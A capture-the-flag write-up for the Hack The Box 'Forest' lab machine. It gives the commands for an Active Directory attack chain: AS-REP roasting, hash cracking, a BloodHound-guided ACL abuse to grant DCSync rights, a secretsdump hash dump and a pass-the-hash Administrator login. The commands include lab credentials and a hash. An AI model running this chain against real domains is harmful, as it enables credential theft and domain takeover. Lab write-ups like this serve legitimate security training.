# Forest WriteUp First, we start with a port scan using nmap: ```bash nmap -sVC -Pn 10.129.95.210 ``` ```bash PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-26 04:12:12Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: mean: 2h26m50s, deviation: 4h02m32s, median: 6m48s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local |_ System time: 2026-10-25T21:12:26-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-time: | date: 2026-10-26T04:12:23 |_ start_date: 2026-10-26T03:55:20 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 51.68 seconds ``` The scan confirms we’re dealing with a Windows Server 2016 Domain Controller, domain `htb.local`, hostname `FOREST`. With anonymous LDAP enabled, we attempt ASREPRoasting without credentials: ```bash nxc ldap 10.129.89.52 -u '' -p '' --asreproast output.txt ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/1bd364f7-6a61-45d0-bf26-bb296952c436.png align="center") This returns an AS-REP hash for a vulnerable account. We crack it with hashcat: ```bash hashcat -m 18200 output.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/f194f15c-9ac1-460e-be1f-253c2b51a19e.png align="center") We recover the credentials: ```plaintext svc-alfresco@HTB.LOCAL / s3rvice ``` With these credentials, we log in via evil-winrm and and grab the user flag: ```bash evil-winrm -i 10.129.89.52 -u svc-alfresco -p 's3rvice' ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/bcafb3a9-4230-4ca5-9d64-5b9afef7775b.png align="center") Next, we run BloodHound against the target to collect Active Directory data: ```bash nxc ldap htb.local --dns-server 10.129.89.52 -u svc-alfresco -p 's3rvice' --bloodhound -c All ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/80665358-68ff-4c6c-b4ff-6213a61d8b4a.png align="center") We need to upload the zip file to bloodhound: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/1f9b6ff3-b185-49e1-a347-9b9e0d1ad81e.png align="center") Analyzing the resulting graph in BloodHound, we identify the following attack path: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/549f5618-cb75-4f45-bf16-07f8448aec06.png align="center") ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/718eb4ec-5eb2-4df7-a51c-b1054667e4e1.png align="center") `svc-alfresco` → Service Accounts → Privileged IT Accounts → Account Operators → **GenericAll** → Exchange Windows Permissions → **WriteDacl** → **HTB.LOCAL (Domain)** The first step is joining the Exchange Windows Permissions group, leveraging the inherited GenericAll: ```bash bloodyAD --host 10.129.90.148 -d htb.local -u svc-alfresco -p s3rvice add groupMember "Exchange Windows Permissions" svc-alfresco ``` We verify the membership was applied correctly: ```bash bloodyAD --host 10.129.90.148 -d htb.local -u svc-alfresco -p s3rvice get object svc-alfresco --attr memberOf ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/0e62b50f-d66c-4a42-bd1a-9a60b5ae59ee.png align="center") ```bash distinguishedName: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local memberOf: CN=Service Accounts,OU=Security Groups,DC=htb,DC=local; CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local ``` With that group membership confirmed, we grant ourselves DCSync rights over the domain, abusing the WriteDacl permission Exchange Windows Permissions holds on `HTB.LOCAL`: ```bash bloodyAD --host 10.129.90.148 -d htb.local -u svc-alfresco -p s3rvice add dcsync svc-alfresco ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/7a2da07e-02c4-49bc-8dea-39918f302790.png align="center") Now we use Impacket’s secretsdump to pull all the hashes from the domain: ```bash secretsdump.py htb.local/svc-alfresco:s3rvice@10.129.90.148 -just-dc-ntlm ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/a8db1db6-60b1-4b29-b75b-739f9fce6d3d.png align="center") Finally, we connect to the domain with the Administrator hash using evil-winrm and grab the root flag: ```bash evil-winrm -i 10.129.90.148 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/fcf6efed-3f34-4acf-aa99-9897e1af6837.png align="center") --- 📌 **Follow Me / Portfolio** 🌐 **Web:** 🐦 **X (Twitter):** 🐙 **GitHub:** 🎥 **YouTube:** ![Nano](https://www.hackthebox.eu/badge/image/54373 align="left") **Did you enjoy the write-up?** Feel free to comment or share it! I’m always happy to answer questions and I love seeing improvements requests.